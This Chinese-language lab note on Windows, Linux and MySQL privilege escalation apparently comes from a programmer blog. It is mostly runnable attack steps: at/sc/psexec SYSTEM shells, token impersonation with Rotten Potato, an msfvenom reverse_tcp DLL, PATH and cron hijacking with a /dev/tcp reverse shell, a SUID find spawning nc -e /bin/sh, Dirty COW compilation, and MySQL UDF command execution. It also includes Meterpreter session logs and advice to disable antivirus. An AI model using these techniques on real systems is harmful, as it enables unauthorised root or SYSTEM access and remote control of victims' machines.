概述
权限提升
- 信息收集
- 补丁筛选
- 方法一:vulmap
- 方法二:wes
- 方法三:windows vulnscan
- 方法四,利用metasploit
- 方法五,Windows Exploit Suggester
- 利用漏洞
- msf
- 特定exp
- windows提权
- 本地权限提升-AT&SC&PS命令
- AT
- SC
- PS
- 令牌窃取
- 烂土豆
- dll劫持提权
- 不带引号路径问题
- linux提权
- 信息收集
- 环境变量提权
- 定时任务
- suid:
- sudo
- lampiao靶场
- 数据库提权
- 信息收集
- 配置文件
- 存储文件
- 暴力破解
- mysql
- udf
在cmd中运行systeminfo
可以查看系统的信息。
https://www.yuque.com/weiker/xiaodi
信息收集
1、信息收集
可以采用一些cmd命令,收集系统信息。比如
● whoami:获得当前用户名
● whoami /priv:当前账户权限
● systeminfo:查看系统打了哪些补丁
● net user:列出用户
● net user UserName:查看关于用户的信息
● net localgroup:列出所有组
● Wmic qfe get Caption,Description,HotFixID,InstalledOn
● wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:“KB4131188” #直接找是否存在cve-2018-8120对应的KB4131188补丁
补丁筛选
通过收集靶机系统的补丁,查看系统的内核漏洞
方法一:vulmap
下载地址:https://github.com/vulmon/Vulmap
注意需要使用powershell运行,所以不太适用于在web方向提权。
方法二:wes
下载地址:https://github.com/bitsadmin/wesng/
使用systeminfo 得到靶机的系统信息,查看其打的补丁,将信息存储为systeminfo.txt文件。
使用下面的命令,得到靶机漏洞(在攻击机上运行即可)
wes.py systeminfo.txt -o systeminfo.csv
-o 表示输出,将内容输出到systeminfo.csv中
会提示下载chardet
方法三:windows vulnscan
下载地址:https://github.com/chroblert/WindowsVulnScan
解压后,将ps文件运行,即可扫描本机的补丁,得到一个json文件。
本地运行这个json文件(需要使用python),列出的即是可利用漏洞。
这里需要注意,python环境并不是要求靶机需要有,只要将WindowsVulnScan弄到靶机上运行,得到json文件后在攻击机上得出即可。
方法四,利用metasploit
利用post/windows/gather/enum_patches 模块 可以根据漏洞编号快速找出系统中缺少的补丁
设置获取的session即可运行。
MSF下还提供了 post/multi/recon/local_exploit_suggester 模块,该模块用于快速识别系统中可能被利用的漏洞
方法五,Windows Exploit Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其只需要目标系统的信息。
#更新漏洞数据库,会生成一个xls的文件,如下 2020-11-11-mssb.xls
python windows-exploit-suggester.py --update
#查看目标主机系统信息,保存为sysinfo.txt文件
systeminfo > sysinfo.txt
#然后运行如下命令,查看该系统是否存在可利用的提权漏洞
python windows-exploit-suggester.py -d 2020-11-11-mssb.xls -i sysinfo.txt
利用漏洞
通过前面的收集,找到靶机存在的漏洞,可以使用下面两种方式进行利用漏洞
msf
由专门的人员维护,更新不太快。不适合查找最新的漏洞。
特定exp
通过在网上搜索,比如浏览器,github,查看最新的漏洞。
也可使用kali自带的searchsploit
windows提权
利用CVE-2020-0787本地提权漏洞,在目标服务器执行BitsArbitraryFileMoveExploit.exe文件
下载地址:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/tag/1
实验:在windows server2016中,
注意关闭杀毒软件和windows defender,防止文件被删除。
回车执行后,出现cmd框,输入whoami,查看当前用户,为system,成功越权。
而原来的用户为:administrator
本地权限提升-AT&SC&PS命令
AT
只针对win7之前的老系统,
使用at命令给系统添加一项作业,在特定时间打开cmd命令
因为这里打开的cmd是以system身份运行的,所以就会越权
at 15:13 /interactive cmd.exe
SC
sc Create syscmd binPath = "cmd /k start" type= own type= interact
sc start syscmd
PS
pstools是微软官方工具,是为windows提供的第三方工具库
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
相关命令:
psexec.exe -accepteula -s -i -d cmd.exe
令牌窃取
在高版本中没用(2008之后没用),输入list_tokens -u 列出系统中已有的token。
发现有administrator,和system。
impersonate_token “xx” 使用xx的token
烂土豆
下面的实例是在win10中进行的。
烂土豆下载地址 https://github.com/SecWiki/windows-kernel-exploits
其中的MS16-075 即为烂土豆
利用令牌窃取和烂土豆,进行提权:
有时候令牌窃取的时候,使用list_tokens -u
的时候,显示如下,只有一个用户,无法进行令牌窃取,因为当前的用户权限比较低,查询出来的内容比较少,如果权限高的话就不需要烂土豆了。
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
DESKTOP-QHKMNAK30837
Impersonation Tokens Available
========================================
No tokens available
需要配合烂土豆:
将potato.exe 搞到目标主机上运行。
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
DESKTOP-QHKMNAKAdministrator
NT AUTHORITYSYSTEM
Impersonation Tokens Available
========================================
No tokens available
meterpreter > impersonate_token "NT AUTHORITYSYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITYSYSTEM
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter >
注意:可能运行后还是一个用户,我的是:目标主机并没有开启其他账户,在目标主机,右键此电脑,在本地用户和组中可以看到。
dll劫持提权
有的windows 程序启动时需要加载dll文件,默认是查找应用程序加载时的目录,如果没有的话,就会从以下位置开始找
c:windowssystem32
c:windowssystem
c:windows
工作目录
环境变量
信息收集:收集被攻击者电脑上的软件的信息,查看软件调用的dll文件,
利用工具:火绒剑。
有些鸡肋:必须攻击,必须经常使用软件,(启动软件后,软件会调用对应的dll文件)
mafvenom -p windows/meterpreter/reverse_tcp lhost= xxxx lport xx -f dll > /opt/xx.dll
不带引号路径问题
- 检查引号服务路径
- 利用路径制作文件并上传
- 启动,重启服务
- 调用成功
对于C:Program FilesSome FolderService.exe文件路径中的每一个空格,
系统会认为空格前的是要执行的程序,利用优先级关系,首先会查找C:Program.exe,如果没有就会查找C:Program FilesSome.exe,最后查找C:Program FilesSome FolderService.exe。
只要上传一个program.exe文件到c盘下,利用优先级关系,就会优先执行program.exe
检查引号服务路径
这里找到“c:program files (x86)”下的一个程序文件
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:windows\" | findstr /i /v """
鸡肋:第三方软件没有完整配置路径。
linux提权
https://zhuanlan.zhihu.com/p/432182767
信息收集
- 信息收集脚本:
-
linenum:(一个sh脚本)
下载地址:https://github.com/rebootuser/LinEnum -
linuxprivchecker:(一个python脚本)
下载地址:https://github.com/sleventyeleven/linuxprivchecker
-
- 提权脚本:
- linux-exploit-suggester.py:
下载地址:https://github.com/mzet-/linux-exploit-suggester - linux-exploit-suggester2.pl:
下载地址:https://github.com/jondonas/linux-exploit-suggester-2/blob/master/linux-exploit-suggester-2.pl
- linux-exploit-suggester.py:
cve-2017-16695
环境变量提权
需要在靶机中存在一个文件,这个文件具有suid权限,在执行这个文件会调用ps命令。
我们需要做的就是,把ps替换为sh,当点击这个文件执行ps,实际上执行的sh。
具体做法:
将/bin/sh 复制到/tmp/ps
cp /bin/sh /tmp/ps
给环境变量中添加 /tmp
export PATH=/tmp:$PATH
这时运行shell,就会执行ps,优先从环境变量中获得,而环境变量中的/tmp下有ps,这个ps实际是sh,所以就会执行sh。
ps可以是其他的指令,道理都是一样的。
环境准备:
编写文件,文件名为demo.c
将demo.c编译输出为文件名为shell:gcc demo.c -o shell
shell就是那个文件。
sudo chmod -s shell,给shell赋予suid位,
将/bin/sh 复制到/tmp/ps
添加环境变量:
export PATH=/tmp:$PATH
执行shell,提权成功。
定时任务
/etc/crontab
查看文件中内容,
* * * * * root test.sh
test.sh没有写绝对路径,则默认是/usr/local/bin目录下的文件。
test.sh文件如果是普通用户可写,则直接修改里面的内容。
#!/bin/bash
bash -i >& /dev/tcp/192.168.175.130/4444 0>&1
suid:
http://t.zoukankan.com/Cccarl-p-6985143.html
设置位:S,主要的对X,使得其他用户拥有文件所有者的执行权限
沾附位:T, 主要是对文件夹,表示只允许文件的所有者和所属组的成员对文件执行相应操作。
使用下面命令在靶机中查找具有root运行权限的命令,并且这些命令可以打开shell,
find / -perm -u=s -type f 2>/dev/null
下面列出可以打开shell的命令:
- Nmap
- Vim
- find
- Bash
- More
- Less
- Nano
- cp
只要靶机中有这些命令被赋予suid就可以提权
下面的命令是进行提权,使用的suid命令是find,查找的文件是flag4.txt(这个文件要存在),-exec是一个命令族,后面只要执行的命令,这里执行的是反弹shell
find flag4.txt -exec nc -lvp 2333 -e /bin/sh ;
下面的命令是在攻击机上执行的。
nc 192.168.45.129 2333 ,攻击机连接靶机2333端口,接收反弹shell
也可使用冰蝎进行反弹shell:
冰蝎下载地址:https://github.com/rebeyond/Behinder/releases
推荐:https://blog.csdn.net/Z526209693/article/details/125480346
使用冰蝎自带的shell.php进行反弹shell。
手动输入查看有suid权限的文件。
下面是上传自动脚本,利用脚本查看系统中有没有
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (39927 bytes) to 192.168.45.129
[*] Meterpreter session 1 opened (192.168.45.130:4444 -> 192.168.45.129:33654) at 2022-11-07 03:38:39 -0500
meterpreter > getuid
Server username: daemon
meterpreter > pwd
/opt/lampp/htdocs/sqli-labs
meterpreter > upload /home/kali/D
Desktop Documents Downloads
meterpreter > upload /home/kali/Desktop/LinEnum.sh /tmp/LinEnum.sh
[*] uploading : /home/kali/Desktop/LinEnum.sh -> /tmp/LinEnum.sh
[*] Uploaded -1.00 B of 45.54 KiB (-0.0%): /home/kali/Desktop/LinEnum.sh -> /tmp/LinEnum.sh
[*] uploaded : /home/kali/Desktop/LinEnum.sh -> /tmp/LinEnum.sh
meterpreter > shell
Process 44759 created.
Channel 1 created.
id
uid=2(daemon) gid=2(daemon) 组=2(daemon)
cd /tmp
ls
hsperfdata_root
jnLogGlobal.log
LinEnum.sh
VersionControl_New.dat
vscode-typescript0
./LinEnum.sh
/bin/sh:行4: ./LinEnum.sh: 权限不够
chmod +xz
chmod: "+xz" 后缺少操作数
Try 'chmod --help' for more information.
chmod +xz LinEnum.sh
chmod: 无效模式:"+xz"
Try 'chmod --help' for more information.
chmod +x LinEnum.sh
./Linenum.sh
/bin/sh:行8: ./Linenum.sh: 没有那个文件或目录
^[[A^[[B
/bin/sh:行9: $'E[AE[B': 未找到命令
./LinEnum.sh
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982
[-] Debug Info
[+] Thorough tests = Disabled
Scan started at:
在靶机上运行,发现有有两个具有suid提权漏洞,其中一个就是namp
nmap –interactive –运行nmap交互模式
!sh –我们可以从nmap shell转到系统shell
msfadmin@metasploitable:/tmp/LinEnum-master$ nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> ! sh
sh-3.2# id
uid=1000(msfadmin) gid=1000(msfadmin) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
sh-3.2# id
uid=1000(msfadmin) gid=1000(msfadmin) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
sh-3.2# exit
exit
system() execution of command failed
nmap> exit
Quitting by request.
msfadmin@metasploitable:/tmp/LinEnum-master$ sudo nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> ! sh
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)
sudo
在用户中输入sudo -l 查看当前用户允许的sudo命令。
执行下面命令进行提权
sudo find /etc/passwd -exec / bin / sh ;
lampiao靶场
靶机的下载地址:https://vulnhub.com/entry/lampiao-1,249/#download
将kali和靶机置于同一网段,是用nmap扫描网段,确定靶机的ip为192.168.120.137
再扫描靶机的端口,使用浏览器:
访问网页发现其cms为 drupal ,可以在网上搜索其相关的漏洞,也可利用msf自带的。
下面是用msf 查找drupal 漏洞,编号1的可以使用。
show options 查看必须要写的参数,设置号后即可运行。
运行后此时是一个普通用户。
将信息收集的工具利用msf上传靶机。
执行脚本,利用exploit脚本查看靶机的漏洞,发现有脏牛漏洞。
https
利用wget将cve下载在kali本机中,再利用msf将其上传到靶机上。
(下载后文件名是一个数字,将其重命名为*.cpp即可。为啥不直接在靶机下载,因为下载后的文件需要重命名)。
下面是把dirtycow.cpp上传到靶机的 /tmp 目录中
然后输入shell,切换到靶机shell中,执行下面命令,进行gcc编译。编译后的文件名为dcow。
g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow dirtycow.cpp -luti
下面的利用python开启一个伪终端,
python -c 'import pty; pty.spawn("/bin/bash")'
数据库提权
信息收集
信息收集的主要目的是获取数据库的账号密码
配置文件
网站的配置文件中有存储用户的信息。
存储文件
数据库的文件中有存储用户信息。
/data/数据库名/表名.myd
暴力破解
使用工具在本地破解,所以要支持破解的用户支持外联,
否则就要上传爆破脚本进行在目标机中破解。
mysql
udf
udf原理:
在数据库中的查询就等价于在cmd或者shell中执行命令。
udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。攻击者通过编写调用cmd或者shell的udf.so或udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.so或udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
udf提权本质上并不是真正意义上的提权,只是通过当前mysql的运行权限去执行系统命令,如果mysql运行权限太低的话同样也没有特别大的意义。
注意:mysql < 5,1 导出目录c:/windows或system32
mysql => 5.1 导出mysql下的/lib/plugin
在获得数据库的密码后,要求是root的账户,在root账户下可以看到所有的数据库。使用root账号连接时,数据库的地址写为本地(root账号默认是不支持外联,如果支持外联,也是可以),如果使用root账号外联,也是可以连接的,但是只有默认的数据库,无法查看所有的信息。
select @@basedir 查找数据库的安装路径
show globa variables like “%secure%”
查找secure
secure_file_priv值为null,表示mysql不允许导入,导出,
select @@ plugin_dir 查找plugin目录的路径,
给mysql的plugin目录中上传一个配置文件,(如果目标机时windows,配置文件后缀.dll,如果是linux,后缀是so)
配置文件可以在sqlmap中找到,目录为:sqlmapdataudfmysql下,分为linux和windows。
以linux的64位为例:
由于sqlmap中的shell,exp,免杀,都经过了编码,不能直接使用,需要解码,解码使用的是sqlmap自带的cloak.py。路径如下图:
输入以下命令就会在lib_mysqludf_sys.so_的同一目录中生成一个lib_mysqludf_sys.so。
如下图所示
上传so文件到靶机的指定目录,
就是上传到mysql的 libplugin目录中,我使用的xampp搭建,要上传的目录是/opt/lampp/lib/mysql/plugin 目录
上传方式:
- webshell直接上传,
- 以hex方式上传
webshell上传如下图:
hex编码上传:
将要上传的so文件利用mysql的hex函数进行转换,
select hex(load_file(‘D:/network/sqlmap/data/udf/mysql/linux/64/udf.so’)) into dumpfile ‘c:/udf.txt’
将udf.txt 文件中的内容插入到数据库中,
创建一个表,名字为udf,用来存储udf.txt 文件内容。
create table udf(a blob)
BLOB (binary large object),mysql的数据类型,BLOB常常是数据库中用来存储二进制文件的字段类型
将udf.txt 中内容插入到udf中。
INSERT INTO udf values(unhex(‘udf文件的16进制格式’))
select a from udf into dumpfile ‘/opt/lampp/lib/mysql/plugin/udf.so’
这里使用的是dumpfile,是要把数据原样子输出,要区分outfile,dumpfile。
create function sys_eval returns string soname ‘udf.so’
创建函数sys_eval,指向usf.so文件,udf.so文件,可以调用cmd,shell 命令。
最终实现在数据库中执行系统命令。
在对linux的靶机操作,最后得到的用户是mysql,这是系统定义的用户,但是不具备最高权限,
在widows中,刚开始是用普通用户启动的靶场,在webshell中查到的也确实是,
在换为管理员后,在webshell中查到的也换了。
删除自定义函数:
DROP FUNCTION function_name
最后
以上就是勤劳冰棍为你收集整理的权限提升_初探的全部内容,希望文章能够帮你解决权限提升_初探所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复